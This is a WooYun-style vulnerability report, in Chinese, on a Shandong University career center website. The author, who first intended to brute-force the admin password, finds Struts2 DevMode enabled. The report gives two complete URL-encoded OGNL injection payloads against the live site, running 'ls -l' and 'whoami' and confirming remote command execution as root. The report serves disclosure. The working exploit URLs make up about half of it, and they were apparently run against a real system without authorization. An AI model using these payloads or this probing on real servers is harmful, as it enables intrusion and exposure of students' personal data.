WooYun.org

山东大学学生就业与发展指导中心（http://www.job.sdu.edu.cn/）Struts2的DevMode未关闭导致远程命令执行；网站用户为root导致危害性扩大，入侵者可随意执行命令。
本来是想爆破山东大学学生就业与发展指导中心（http://www.job.sdu.edu.cn/）后台管理admin的密码的，想必网站的后台入口就是http://www.job.sdu.edu.cn/admin，在浏览器中输入该URL，出来的竟然是这个

眼前一亮，Struts2框架，DevMode没关，nice！
随即，输入payload，ls一下当前目录：
http://www.job.sdu.edu.cn/news_findByKeyWords?debug=command&expression=%23f=%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23a=(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%27ls%27,%27-l%27})).start(),%23b=%23a.getInputStream(),%23c=new%20java.io.InputStreamReader(%23b),%23d=new%20java.io.BufferedReader(%23c),%23e=new%20char[1000],%23d.read(%23e),%23resp.println(%23e),%23resp.close()
得出结果如下：

nice，看到满屏的root，想必当前用户也就是root吧，不过还是用whoami试试：
http://www.job.sdu.edu.cn/news_findByKeyWords?debug=command&expression=%23f=%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23a=(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%27whoami%27})).start(),%23b=%23a.getInputStream(),%23c=new%20java.io.InputStreamReader(%23b),%23d=new%20java.io.BufferedReader(%23c),%23e=new%20char[1000],%23d.read(%23e),%23resp.println(%23e),%23resp.close()

果然当前用户就是root，后面不想深入了，基本上可以为所欲为了，毕业生的信息也很重要，是吧。